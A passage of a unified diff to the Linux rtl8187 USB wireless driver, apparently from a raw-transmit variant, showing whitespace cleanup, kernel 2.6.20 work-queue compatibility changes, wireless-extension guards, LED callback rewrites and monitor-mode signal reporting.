ieee80211_priv(dev); - + return &priv->ieee80211->stats; } @@ -2602,20 +2654,20 @@ struct r8180_priv *priv = ieee80211_priv(dev); priv->up=1; - + //DMESG("Bringing up iface"); rtl8180_adapter_start(dev); - + rtl8180_rx_enable(dev); rtl8180_tx_enable(dev); - + ieee80211_softmac_start_protocol(priv->ieee80211); //LedControl8187(dev, LED_CTL_SITE_SURVEY); - + ieee80211_reset_queue(priv->ieee80211); if(!netif_queue_stopped(dev)) netif_start_queue(dev); @@ -2630,12 +2682,12 @@ { struct r8180_priv *priv = ieee80211_priv(dev); int ret; - + down(&priv->wx_sem); ret = rtl8180_up(dev); up(&priv->wx_sem); return ret; - + } @@ -2644,7 +2696,7 @@ struct r8180_priv *priv = ieee80211_priv(dev); if (priv->up == 1) return -1; - + return _rtl8180_up(dev); } @@ -2653,15 +2705,15 @@ { struct r8180_priv *priv = ieee80211_priv(dev); int ret; - + down(&priv->wx_sem); - + ret = rtl8180_down(dev); - + LedControl8187(dev, LED_CTL_NO_LINK); - + up(&priv->wx_sem); - + return ret; } @@ -2671,18 +2723,18 @@ struct r8180_priv *priv = ieee80211_priv(dev); if (priv->up == 0) return -1; - + priv->up=0; /* FIXME */ if (!netif_queue_stopped(dev)) netif_stop_queue(dev); - + rtl8180_rtx_disable(dev); rtl8180_irq_disable(dev); ieee80211_softmac_stop_protocol(priv->ieee80211); - + return 0; } @@ -2692,7 +2744,7 @@ struct r8180_priv *priv = ieee80211_priv(dev); if (priv->up == 0) return ; - + ieee80211_softmac_stop_protocol(priv->ieee80211); sema_init(&priv->power_sem,1); //printk(KERN_WARNING "priv->power_semb %d!\n",priv->power_sem); @@ -2701,14 +2753,20 @@ _rtl8180_up(dev); } +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work) +{ + struct r8180_priv *priv = container_of(work, struct r8180_priv, reset_wq); + struct net_device *dev = priv->dev; +#else void rtl8180_restart(struct net_device *dev) { struct r8180_priv *priv = ieee80211_priv(dev); - +#endif down(&priv->wx_sem); - + rtl8180_commit(dev); - + up(&priv->wx_sem); } @@ -2718,16 +2776,16 @@ short promisc; //down(&priv->wx_sem); - + /* FIXME FIXME */ - + promisc = (dev->flags & IFF_PROMISC) ? 1:0; - + if (promisc != priv->promisc) // rtl8180_commit(dev); - + priv->promisc = promisc; - + //schedule_work(&priv->reset_wq); //up(&priv->wx_sem); } @@ -2737,15 +2795,15 @@ { struct r8180_priv *priv = ieee80211_priv(dev); struct sockaddr *addr = mac; - + down(&priv->wx_sem); - + memcpy(dev->dev_addr, addr->sa_data, ETH_ALEN); - + schedule_work(&priv->reset_wq); - + up(&priv->wx_sem); - + return 0; } @@ -2758,8 +2816,8 @@ int ret=-1; down(&priv->wx_sem); - - + + switch (cmd) { case RTL_IOCTL_WPA_SUPPLICANT: ret = ieee80211_wpa_supplicant_ioctl(priv->ieee80211, &wrq->u.data); @@ -2771,7 +2829,7 @@ } up(&priv->wx_sem); - + return ret; } @@ -2792,9 +2850,9 @@ //u32 *desc; u8 *desc; u8 signal,quality,rate; - + //DMESG("rtl8187_rx_isr"); - + struct ieee80211_rx_stats stats = { .signal = 0, .noise = -98, @@ -2803,31 +2861,31 @@ .freq = IEEE80211_24GHZ_BAND, }; - + //DMESG("RX %d ",rx_urb->status); status = rx_urb->status; if(status == 0){ - + len = rx_urb->actual_length; - // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ + // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ len -= 4*4;/* 4 dword and 4 byte CRC */ -#if 0 +#if 0 desc = (u32*)(rx_urb->transfer_buffer + len); - + flen = desc[0] & 0xfff; - + if( flen <= rx_urb->actual_length){ - + //stats.signal = (desc[1] & 0x7f00)>>8; //stats.noise = desc[1] &0xff; signal=(desc[1]& (0xff0000))>>16; signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 - + quality=(desc[1] & (0xff)); - + rate=(desc[0] &((1<<23)|(1<<22)|(1<<21)|(1<<20)))>>20; - // printk(KERN_INFO "rate is %d!\n",rate); - stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); //stats.rate = desc[0] >> 20 & 0xf; stats.mac_time[0] = desc[2]; @@ -2835,35 +2893,35 @@ #endif desc = rx_urb->transfer_buffer + len; - + flen = ((desc[1] & 0x0f) << 8) + (desc[0] & 0xff); - + if( flen <= rx_urb->actual_length){ - + //stats.signal = (desc[1] & 0x7f00)>>8; //stats.noise = desc[1] &0xff; signal=(desc[6]& 0xfe)>>1; //signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 - + quality=desc[4] & 0xff; - + //rate=(desc[2] &((1<<7)|(1<<6)|(1<<5)|(1<<4)))>>4; rate=(desc[2] & 0xf0)>>4; - // printk(KERN_INFO "rate is %d!\n",rate); - stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); //stats.rate = desc[0] >> 20 & 0xf; - stats.mac_time[0] = desc[8] + (desc[9]<<8) + (desc[10]<<16) + (desc[11]<<24); - stats.mac_time[1] = desc[12] + (desc[13]<<8) + (desc[14]<<16) + (desc[15]<<24); + stats.mac_time[0] = desc[8] + (desc[9]<<8) + (desc[10]<<16) + (desc[11]<<24); + stats.mac_time[1] = desc[12] + (desc[13]<<8) + (desc[14]<<16) + (desc[15]<<24); + - //calculate link quality begin - if(!rtl8180_IsWirelessBMode(stats.rate) ) + if(!rtl8180_IsWirelessBMode(stats.rate) ) { // OFDM rate. if(signal>90) signal=90; else if(signal<25) - signal=25; + signal=25; signal = (90-signal)*100/65; } else @@ -2871,7 +2929,7 @@ if(signal>95) signal = 95; else if(signal<30) - signal = 30; + signal = 30; signal =(95-signal )*100/65; } priv->wstats.qual.level = signal; @@ -2879,30 +2937,35 @@ if(quality > 64) priv ->wstats.qual.qual = 0; else - priv ->wstats.qual.qual = ((64-quality) * 100) / 64; // SQ value is the SIGNAL_QUALITY returned to IORequest, - //and this value only appear when STA is associated to AP or + priv ->wstats.qual.qual = ((64-quality) * 100) / 64; // SQ value is the SIGNAL_QUALITY returned to IORequest, + //and this value only appear when STA is associated to AP or // STA is in IBSS mode // printk(KERN_INFO "quality is %d!\n",priv->wstats.qual.qual); priv->wstats.qual.noise = 100 - priv ->wstats.qual.qual; priv->wstats.qual.updated = 7; - //calculate link quality end + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR) + { + stats.signal = priv->wstats.qual.level; + stats.noise = priv->wstats.qual.noise; + } + //calculate link quality end skb = dev_alloc_skb(flen-4); - if(skb){ + if(skb){ memcpy(skb_put(skb,flen-4), rx_urb->transfer_buffer,flen -4); - + #ifdef DUMP_RX int i; for(i=0;itransfer_buffer))[i]); printk("------RATE %x:w---------------\n",stats.rate); - + #endif priv->stats.rxok++; // priv->rxskb = skb; // priv->tempstats = &stats; - if(!ieee80211_rx(priv->ieee80211, + if(!ieee80211_rx(priv->ieee80211, skb, &stats)) dev_kfree_skb_any(skb); } @@ -2913,7 +2976,7 @@ } //LedControl8187(dev, LED_CTL_RX); - + if(status != -ENOENT)rtl8187_rx_urbsubmit(dev,rx_urb); else DMESG("RX process aborted due to explicit shutdown"); } @@ -2931,20 +2994,20 @@ struct r8180_priv *priv= NULL; struct usb_device *udev = interface_to_usbdev(intf); -printk(KERN_WARNING "===> rtl8187_usb_probe()\n"); - +printk(KERN_WARNING "===> rtl8187_usb_probe()\n"); + dev = alloc_ieee80211(sizeof(struct r8180_priv)); - + SET_MODULE_OWNER(dev); - usb_set_intfdata(intf, dev); - + usb_set_intfdata(intf, dev); + SET_NETDEV_DEV(dev, &intf->dev); priv = ieee80211_priv(dev); priv->ieee80211 = netdev_priv(dev); - + priv->udev=udev; - + dev->open = rtl8180_open; dev->stop = rtl8180_close; //dev->hard_start_xmit = rtl8180_8023_hard_start_xmit; @@ -2953,41 +3016,46 @@ dev->do_ioctl = rtl8180_ioctl; dev->set_multicast_list = r8180_set_multicast; dev->set_mac_address = r8180_set_mac_adr; +#if WIRELESS_EXT >= 12 +#if WIRELESS_EXT < 17 dev->get_wireless_stats = r8180_get_wireless_stats; +#endif + dev->wireless_handlers = (struct iw_handler_def *) &r8180_wx_handlers_def; +#endif dev->type=ARPHRD_ETHER; - + if (dev_alloc_name(dev, ifname) < 0){ DMESG("Oops: devname already taken! Trying wlan%%d...\n"); ifname = "wlan%d"; dev_alloc_name(dev, ifname); } - + // dev->open=rtl8180_init; - - if(rtl8180_init(dev)!=0){ + + if(rtl8180_init(dev)!=0){ DMESG("Initialization failed"); goto fail; } - + netif_carrier_off(dev); netif_stop_queue(dev); - + register_netdev(dev); - + rtl8180_proc_init_one(dev); - + DMESG("Driver probe completed\n"); - return 0; + return 0; + - fail: free_ieee80211(dev); - + DMESG("wlan driver load failed\n"); - + return -ENODEV; - + } @@ -2996,13 +3064,13 @@ struct r8180_priv *priv; struct net_device *dev = usb_get_intfdata(intf); if(dev){ - + unregister_netdev(dev); - + priv=ieee80211_priv(dev); - + rtl8180_proc_remove_one(dev); - + rtl8180_down(dev); priv->rf_close(dev); //rtl8180_rtx_disable(dev); @@ -3046,11 +3114,11 @@ unsigned long flags; short enough_desc; struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + spin_lock_irqsave(&priv->tx_lock,flags); enough_desc = check_nic_enought_desc(dev,pri); - spin_unlock_irqrestore(&priv->tx_lock,flags); - + spin_unlock_irqrestore(&priv->tx_lock,flags); + if(enough_desc) ieee80211_wake_queue(priv->ieee80211); } diff -Naur r8187_orig/rtl8187/r8187.h r8187_rawtx/rtl8187/r8187.h --- r8187_orig/rtl8187/r8187.h 2007-12-05 04:22:20.000000000 +0100 +++ r8187_rawtx/rtl8187/r8187.h 2007-05-16 21:51:38.000000000 +0200 @@ -1,17 +1,17 @@ -/* +/* This is part of rtl8187 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part of the + + Parts of this driver are based on the GPL part of the official realtek driver - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon - + Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -26,7 +26,6 @@ #include #include -#include #include #include #include @@ -47,6 +46,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include "r8187_led.h" #include "r8180_hw.h" @@ -74,7 +79,7 @@ { struct buffer *next; u32 *buf; - + } buffer; #if 0 @@ -123,7 +128,7 @@ unsigned long txdatapkt; unsigned long rxok; unsigned long rxretry;//retry number tony 20060601 - unsigned long rxcrcerrmin;//crc error (0-500) + unsigned long rxcrcerrmin;//crc error (0-500) unsigned long rxcrcerrmid;//crc error (500-1000) unsigned long rxcrcerrmax;//crc error (>1000) unsigned long rxicverr;//ICV error @@ -142,7 +147,7 @@ short epromtype; int irq; struct ieee80211_device *ieee80211; - + short card_8185; /* O: rtl8180, 1:rtl8185 V B/C, 2:rtl8185 V D */ short card_8185_Bversion; /* if TCR reports card V B/C this discriminates */ short phy_ver; /* meaningful for rtl8225 1:A 2:B 3:C */ @@ -151,12 +156,12 @@ short hw_plcp_len; short plcp_preamble_mode; // 0:auto 1:short 2:long - + // spinlock_t irq_lock; // spinlock_t irq_th_lock; spinlock_t tx_lock; spinlock_t ps_lock; - + u16 irq_mask; // short irq_enabled; struct net_device *dev; @@ -165,17 +170,20 @@ short max_sens; u8 chtxpwr[15]; //channels from 1 to 14, 0 not used u8 chtxpwr_ofdm[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_orig[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_ofdm_orig[15]; //channels from 1 to 14, 0 not used u8 cck_txpwr_base; u8 ofdm_txpwr_base; + u8 txpwr_max; u8 challow[15]; //channels from 1 to 14, 0 not used u8 channel_plan; // it's the channel plan index short up; short crcmon; //if 1 allow bad crc frame reception in monitor mode -// short prism_hdr; + short prism_hdr; struct timer_list ps_timer; short PS_timeout;//when ps set on ,if tx timeout ,this will be set 1 - + // struct timer_list scan_timer; /*short scanpending; short stopscan;*/ @@ -185,7 +193,7 @@ struct semaphore wx_sem; struct semaphore power_sem; // short hw_wep; - + // short digphy; // short antb; // short diversity; @@ -200,12 +208,12 @@ void (*rf_wakeup)(struct net_device *dev); void (*rf_sleep)(struct net_device *dev); //short rate; - short promisc; + short promisc; /*stats*/ struct Stats stats; struct iw_statistics wstats; struct proc_dir_entry *dir_dev; - + /*RX stuff*/ // u32 *rxring; // u32 *rxringtail; @@ -213,20 +221,20 @@ struct urb **rx_urb; struct tx_urb_context tx_context[MAX_TX_URB]; short tx_urb_index; - + //struct buffer *rxbuffer; //struct buffer *rxbufferhead; //int rxringcount; //u16 rxbuffersize; - - //struct sk_buff *rx_skb; + + //struct sk_buff *rx_skb; //short rx_skb_complete; //u32 rx_prevlen; atomic_t tx_lp_pending; atomic_t tx_np_pending; -#if 0 +#if 0 /*TX stuff*/ u32 *txlpring; u32 *txhpring; @@ -256,7 +264,7 @@ struct urb *rxurb_task; // u8 dma_poll_mask; //short tx_suspend; - + /* adhoc/master mode stuff */ #if 0 u32 *txbeacontail; @@ -270,15 +278,20 @@ //u16 master_beaconinterval; // u32 master_beaconsize; //u16 beacon_interval; - + u8 retry_data; u8 retry_rts; u16 rts; u8 ps_sleep_finish;//1, finish hw sleep ,0 finish hw wakeup - + struct work_struct reset_wq; struct work_struct rtl8180_hw_wakeup_wq; +// struct work_struct rtl8180_rq_tx_ack_wq; +// struct work_struct rtl8180_hw_sleep_wq; + + struct work_struct SwLed0WorkItemCallback_wq; + short ack_tx_to_ieee; @@ -292,15 +305,15 @@ LED_STRATEGY_8187 LedStrategy; u8 PsrValue; struct work_struct Gpio0LedWorkItem; - struct work_struct SwLed0WorkItem; - struct work_struct SwLed1WorkItem; - + struct work_struct SwLed0WorkItem; + struct work_struct SwLed1WorkItem; + }r8180_priv; -typedef enum{ +typedef enum{ LOW_PRIORITY , - NORM_PRIORITY + NORM_PRIORITY } priority_t; diff -Naur r8187_orig/rtl8187/r8187_led.c r8187_rawtx/rtl8187/r8187_led.c --- r8187_orig/rtl8187/r8187_led.c 2007-01-15 03:00:37.000000000 +0100 +++ r8187_rawtx/rtl8187/r8187_led.c 2007-05-16 21:51:33.000000000 +0200 @@ -3,35 +3,35 @@ Module Name: r8187_led.c - + Abstract: RTL8187 LED control functions - + Major Change History: When Who What ---------- --------------- ------------------------------- 2006-09-07 Xiong Created - -Notes: - + +Notes: + --*/ /*--------------------------Include File------------------------------------*/ #include "r8180_hw.h" #include "r8187.h" -#include "r8180_93cx6.h" +#include "r8180_93cx6.h" #include "r8187_led.h" /** * -* Initialization function for Sw Leds controll. -* +* Initialization function for Sw Leds controll. +* * \param dev The net device for this driver. * \return void. * -* Note: -* +* Note: +* */ void InitSwLeds( @@ -49,7 +49,7 @@ DMESG("EEPROM Customer ID: %02X\n", priv->EEPROMCustomerID); if(priv->CustomerID == RT_CID_DEFAULT) - { // If we have not yet change priv->CustomerID in register, + { // If we have not yet change priv->CustomerID in register, // we initialzie it from that of EEPROM with proper translation, 2006.07.03, by rcnjko. switch(priv->EEPROMCustomerID) { @@ -57,19 +57,19 @@ case EEPROM_CID_RSVD1: priv->CustomerID = RT_CID_DEFAULT; break; - + case EEPROM_CID_ALPHA0: priv->CustomerID = RT_CID_8187_ALPHA0; break; - + case EEPROM_CID_SERCOMM_PS: priv->CustomerID = RT_CID_8187_SERCOMM_PS; break; - + case EEPROM_CID_HW_LED: priv->CustomerID = RT_CID_8187_HW_LED; break; - + default: // Invalid value, so, we use default value instead. priv->CustomerID = RT_CID_DEFAULT; @@ -78,13 +78,13 @@ } switch(priv->CustomerID) { - case RT_CID_DEFAULT: + case RT_CID_DEFAULT: priv->LedStrategy = SW_LED_MODE0; break; - + case RT_CID_8187_ALPHA0: priv->LedStrategy = SW_LED_MODE1; - break; + break; case RT_CID_8187_SERCOMM_PS: priv->LedStrategy = SW_LED_MODE3; @@ -98,27 +98,39 @@ priv->LedStrategy = SW_LED_MODE0; break; } - - InitLed8187(dev, - &(priv->Gpio0Led), - LED_PIN_GPIO0, + + InitLed8187(dev, + &(priv->Gpio0Led), + LED_PIN_GPIO0, Gpio0LedBlinkTimerCallback); - INIT_WORK(&priv->Gpio0LedWorkItem, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + INIT_WORK(&priv->Gpio0LedWorkItem, (void(*)(void*))Gpio0LedWorkItemCallback, dev); +#else + INIT_WORK(&priv->Gpio0LedWorkItem, Gpio0LedWorkItemCallback); +#endif InitLed8187(dev, - &(priv->SwLed0), - LED_PIN_LED0, + &(priv->SwLed0), + LED_PIN_LED0, SwLed0BlinkTimerCallback); - INIT_WORK(&priv->SwLed0WorkItem, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + INIT_WORK(&priv->SwLed0WorkItem, (void(*)(void*))SwLed0WorkItemCallback, dev); +#else + INIT_WORK(&priv->SwLed0WorkItem, SwLed0WorkItemCallback); +#endif InitLed8187(dev, - &(priv->SwLed1), - LED_PIN_LED1, + &(priv->SwLed1), + LED_PIN_LED1, SwLed1BlinkTimerCallback); - INIT_WORK(&priv->SwLed1WorkItem, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + INIT_WORK(&priv->SwLed1WorkItem, (void(*)(void*))SwLed1WorkItemCallback, dev); +#else + INIT_WORK(&priv->SwLed1WorkItem, SwLed1WorkItemCallback); +#endif } void @@ -135,7 +147,7 @@ void InitLed8187( - struct net_device *dev, + struct net_device *dev, PLED_8187 pLed, LED_PIN_8187 LedPin, void * BlinkCallBackFunc) @@ -157,7 +169,7 @@ void DeInitLed8187( - struct net_device *dev, + struct net_device *dev, PLED_8187 pLed) { //PlatformCancelTimer(dev, &(pLed->BlinkTimer)); @@ -178,10 +190,10 @@ return; /* - if( priv->eRFPowerState != eRfOn && - (LedAction == LED_CTL_TX || LedAction == LED_CTL_RX || - LedAction == LED_CTL_SITE_SURVEY || - LedAction == LED_CTL_LINK || + if( priv->eRFPowerState != eRfOn && + (LedAction == LED_CTL_TX || LedAction == LED_CTL_RX || + LedAction == LED_CTL_SITE_SURVEY || + LedAction == LED_CTL_LINK || LedAction == LED_CTL_NO_LINK) ) { return; @@ -213,7 +225,7 @@ // -// Description: +// Description: // Implement each led action for SW_LED_MODE0. // This is default strategy. // @@ -261,7 +273,7 @@ case LED_CTL_NO_LINK: pLed->CurrLedState = LED_OFF; break; - + case LED_CTL_POWER_ON: pLed->CurrLedState = LED_POWER_ON_BLINK; break; @@ -297,10 +309,10 @@ { pLed->bLedBlinkInProgress = 1; if( pLed->bLedOn ) - pLed->BlinkingLedState = LED_OFF; + pLed->BlinkingLedState = LED_OFF; else - pLed->BlinkingLedState = LED_ON; - + pLed->BlinkingLedState = LED_ON; + pLed->BlinkTimer.expires = jiffies + LED_BLINK_NORMAL_INTERVAL; add_timer(&(pLed->BlinkTimer)); //PlatformSetTimer(dev, &(pLed->BlinkTimer), LED_BLINK_NORMAL_INTERVAL); @@ -312,10 +324,10 @@ { pLed->bLedBlinkInProgress = 1; if( pLed->bLedOn ) - pLed->BlinkingLedState = LED_OFF; + pLed->BlinkingLedState = LED_OFF; else pLed->BlinkingLedState = LED_ON; - + pLed->BlinkTimer.expires = jiffies + LED_BLINK_SLOWLY_INTERVAL; add_timer(&(pLed->BlinkTimer)); //PlatformSetTimer(dev, &(pLed->BlinkTimer), LED_BLINK_SLOWLY_INTERVAL); @@ -334,7 +346,7 @@ } // -// Description: +// Description: // Implement each led action for SW_LED_MODE1. // For example, this is applied by ALPHA. // @@ -357,9 +369,9 @@ pLed0->BlinkTimes = 2; pLed0->bLedBlinkInProgress = 1; if( pLed0->bLedOn ) - pLed0->BlinkingLedState = LED_OFF; + pLed0->BlinkingLedState = LED_OFF; else - pLed0->BlinkingLedState = LED_ON; + pLed0->BlinkingLedState = LED_ON; pLed0->BlinkTimer.expires = jiffies + LED_BLINK_NORMAL_INTERVAL; add_timer(&(pLed0->BlinkTimer)); @@ -382,7 +394,7 @@ SwLedOff(dev, pLed0); } break; - + case LED_CTL_POWER_ON: pLed0->CurrLedState = LED_OFF; SwLedOff(dev, pLed0); @@ -407,7 +419,7 @@ pLed0->BlinkTimes = 10; pLed0->bLedBlinkInProgress = 1; if( pLed0->bLedOn ) - pLed0->BlinkingLedState = LED_OFF; + pLed0->BlinkingLedState = LED_OFF; else pLed0->BlinkingLedState = LED_ON; @@ -423,9 +435,9 @@ } // -// Description: -// Implement each led action for SW_LED_MODE2, -// which is customized for AzWave 8187 minicard. +// Description: +// Implement each led action for SW_LED_MODE2, +// which is customized for AzWave 8187 minicard. // 2006.04.03, by rcnjko. // void @@ -450,9 +462,9 @@ pLed->BlinkTimes = 2; if( pLed->bLedOn ) - pLed->BlinkingLedState = LED_OFF; + pLed->BlinkingLedState = LED_OFF; else - pLed->BlinkingLedState = LED_ON; + pLed->BlinkingLedState = LED_ON; pLed->BlinkTimer.expires = jiffies + LED_BLINK_NORMAL_INTERVAL; add_timer(&(pLed->BlinkTimer)); @@ -465,7 +477,7 @@ { pLed->bLedBlinkInProgress = 1; - //if( dev->MgntInfo.mAssoc || + //if( dev->MgntInfo.mAssoc || // dev->MgntInfo.mIbss ) //{ pLed->CurrLedState = LED_SCAN_BLINK; @@ -486,7 +498,7 @@ } else { - pLed->BlinkingLedState = LED_ON; + pLed->BlinkingLedState = LED_ON; pLed->BlinkTimer.expires = jiffies + LED_CM2_BLINK_OFF_INTERVAL; add_timer(&(pLed->BlinkTimer)); //PlatformSetTimer(dev, &(pLed->BlinkTimer), LED_CM2_BLINK_OFF_INTERVAL); @@ -498,7 +510,7 @@ { pLed->CurrLedState = LED_SCAN_BLINK; /* - if( dev->MgntInfo.mAssoc || + if( dev->MgntInfo.mAssoc || dev->MgntInfo.mIbss ) { pLed->CurrLedState = LED_SCAN_BLINK; @@ -522,14 +534,14 @@ if( pLed->bLedOn ) { - pLed->BlinkingLedState = LED_OFF; + pLed->BlinkingLedState = LED_OFF; pLed->BlinkTimer.expires = jiffies + LED_CM2_BLINK_ON_INTERVAL; add_timer(&(pLed->BlinkTimer)); //PlatformSetTimer(dev, &(pLed->BlinkTimer), LED_CM2_BLINK_ON_INTERVAL); } else { - pLed->BlinkingLedState = LED_ON; + pLed->BlinkingLedState = LED_ON; pLed->BlinkTimer.expires = jiffies + LED_CM2_BLINK_OFF_INTERVAL; add_timer(&(pLed->BlinkTimer)); //PlatformSetTimer(dev, &(pLed->BlinkTimer), LED_CM2_BLINK_OFF_INTERVAL); @@ -564,9 +576,9 @@ // -// Description: -// Implement each led action for SW_LED_MODE3, -// which is customized for Sercomm Printer Server case. +// Description: +// Implement each led action for SW_LED_MODE3, +// which is customized for Sercomm Printer Server case. // 2006.04.21, by rcnjko. // void @@ -591,9 +603,9 @@ pLed->BlinkTimes = 2; if( pLed->bLedOn ) - pLed->BlinkingLedState = LED_OFF; + pLed->BlinkingLedState = LED_OFF; else - pLed->BlinkingLedState = LED_ON; + pLed->BlinkingLedState = LED_ON; pLed->BlinkTimer.expires = jiffies + LED_CM3_BLINK_INTERVAL; add_timer(&(pLed->BlinkTimer)); @@ -610,9 +622,9 @@ pLed->BlinkTimes = 10; if( pLed->bLedOn ) - pLed->BlinkingLedState = LED_OFF; + pLed->BlinkingLedState = LED_OFF; else - pLed->BlinkingLedState = LED_ON; + pLed->BlinkingLedState = LED_ON; pLed->BlinkTimer.expires = jiffies + LED_CM3_BLINK_INTERVAL; add_timer(&(pLed->BlinkTimer)); @@ -729,18 +741,21 @@ } } -// +// // Callback fucntion of the workitem for SW LEDs. // 2006.03.01, by rcnjko. // -void -Gpio0LedWorkItemCallback( - void * Context - ) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void Gpio0LedWorkItemCallback(struct work_struct *work) +{ + struct r8180_priv *priv = container_of(work, struct r8180_priv, Gpio0LedWorkItem); + struct net_device *dev = priv->dev; +#else +void Gpio0LedWorkItemCallback(struct net_device *dev) { - struct net_device *dev = (struct net_device *)Context; struct r8180_priv *priv = ieee80211_priv(dev); - PLED_8187 pLed = &(priv->Gpio0Led); +#endif + PLED_8187 pLed = &(priv->Gpio0Led); if(priv->LedStrategy == SW_LED_MODE2) SwLedCm2Blink(dev, pLed); @@ -750,27 +765,31 @@ //LeaveCallbackOfRtWorkItem( &(usbdevice->Gpio0LedWorkItem) ); } -void -SwLed0WorkItemCallback( - void * Context - ) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void SwLed0WorkItemCallback(struct work_struct *work) +{ + struct r8180_priv *priv = container_of(work, struct r8180_priv, SwLed0WorkItem); + struct net_device *dev = priv->dev; +#else +void SwLed0WorkItemCallback(struct net_device *dev) { - struct net_device *dev = (struct net_device *)Context; struct r8180_priv *priv = ieee80211_priv(dev); - +#endif SwLedBlink(dev, &(priv->SwLed0)); //LeaveCallbackOfRtWorkItem( &(usbdevice->SwLed0WorkItem) ); } -void -SwLed1WorkItemCallback( - void * Context - ) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void SwLed1WorkItemCallback(struct work_struct *work) +{ + struct r8180_priv *priv = container_of(work, struct r8180_priv, SwLed1WorkItem); + struct net_device *dev = priv->dev; +#else +void SwLed1WorkItemCallback(struct net_device *dev) { - struct net_device *dev = (struct net_device *)Context; struct r8180_priv *priv = ieee80211_priv(dev); - +#endif SwLedBlink(dev, &(priv->SwLed1)); //LeaveCallbackOfRtWorkItem( &(usbdevice->SwLed1WorkItem) ); @@ -782,19 +801,19 @@ // void SwLedBlink( - struct net_device *dev, + struct net_device *dev, PLED_8187 pLed ) { u8 bStopBlinking = 0; // Change LED according to BlinkingLedState specified. - if( pLed->BlinkingLedState == LED_ON ) + if( pLed->BlinkingLedState == LED_ON ) { SwLedOn(dev, pLed); //DMESG("Blinktimes (%d): turn on\n", pLed->BlinkTimes); - } - else + } + else { SwLedOff(dev, pLed); //DMESG("Blinktimes (%d): turn off\n", pLed->BlinkTimes); @@ -828,40 +847,40 @@ } pLed->BlinkTimes = 0; - pLed->bLedBlinkInProgress = 0; + pLed->bLedBlinkInProgress = 0; } else { // Assign LED state to toggle. - if( pLed->BlinkingLedState == LED_ON ) + if( pLed->BlinkingLedState == LED_ON ) pLed->BlinkingLedState = LED_OFF; - else + else pLed->BlinkingLedState = LED_ON; - // Schedule a timer to toggle LED state. + // Schedule a timer to toggle LED state. switch( pLed->CurrLedState ) { case LED_BLINK_NORMAL: pLed->BlinkTimer.expires = jiffies + LED_BLINK_NORMAL_INTERVAL; - add_timer(&(pLed->BlinkTimer)); + add_timer(&(pLed->BlinkTimer)); //PlatformSetTimer(dev, &(pLed->BlinkTimer), LED_BLINK_NORMAL_INTERVAL); break; case LED_BLINK_SLOWLY: pLed->BlinkTimer.expires = jiffies + LED_BLINK_SLOWLY_INTERVAL; - add_timer(&(pLed->BlinkTimer)); + add_timer(&(pLed->BlinkTimer)); //PlatformSetTimer(dev, &(pLed->BlinkTimer), LED_BLINK_SLOWLY_INTERVAL); break; case LED_BLINK_CM3: pLed->BlinkTimer.expires = jiffies + LED_CM3_BLINK_INTERVAL; - add_timer(&(pLed->BlinkTimer)); + add_timer(&(pLed->BlinkTimer)); //PlatformSetTimer(dev, &(pLed->BlinkTimer), LED_CM3_BLINK_INTERVAL); break; default: pLed->BlinkTimer.expires = jiffies + LED_BLINK_SLOWLY_INTERVAL; - add_timer(&(pLed->BlinkTimer)); + add_timer(&(pLed->BlinkTimer)); //PlatformSetTimer(dev, &(pLed->BlinkTimer), LED_BLINK_SLOWLY_INTERVAL); break; } @@ -871,11 +890,11 @@ // -// Implementation of LED blinking behavior for SwLedControlMode2. +// Implementation of LED blinking behavior for SwLedControlMode2. // void SwLedCm2Blink( - struct net_device *dev, + struct net_device *dev, PLED_8187 pLed ) { @@ -884,12 +903,12 @@ u8 bStopBlinking = 0; // Change LED according to BlinkingLedState specified. - if( pLed->BlinkingLedState == LED_ON ) + if( pLed->BlinkingLedState == LED_ON ) { SwLedOn(dev, pLed); //DMESG("Blinktimes (%d): turn on\n", pLed->BlinkTimes); - } - else + } + else { SwLedOff(dev, pLed); //DMESG("Blinktimes (%d): turn off\n", pLed->BlinkTimes); @@ -899,13 +918,13 @@ pLed->BlinkTimes--; switch(pLed->CurrLedState) { - case LED_BLINK_NORMAL: + case LED_BLINK_NORMAL: if(pLed->BlinkTimes == 0) { bStopBlinking = 1; } break; -/* CM2 scan blink and no link blind now not be supported +/* CM2 scan blink and no link blind now not be supported case LED_SCAN_BLINK: if( (priv->mAssoc || priv->mIbss) && // Linked. (!priv->bScanInProgress) && // Not in scan stage. @@ -916,9 +935,9 @@ break; case LED_NO_LINK_BLINK: - //Revised miniCard Ad-hoc mode "Slow Blink" by Isaiah 2006-08-03 + //Revised miniCard Ad-hoc mode "Slow Blink" by Isaiah 2006-08-03 //if( (priv->mAssoc || priv->mIbss) ) // Linked. - if( priv->mAssoc) + if( priv->mAssoc) { bStopBlinking = 1; } @@ -950,28 +969,28 @@ } */ pLed->BlinkTimes = 0; - pLed->bLedBlinkInProgress = 0; + 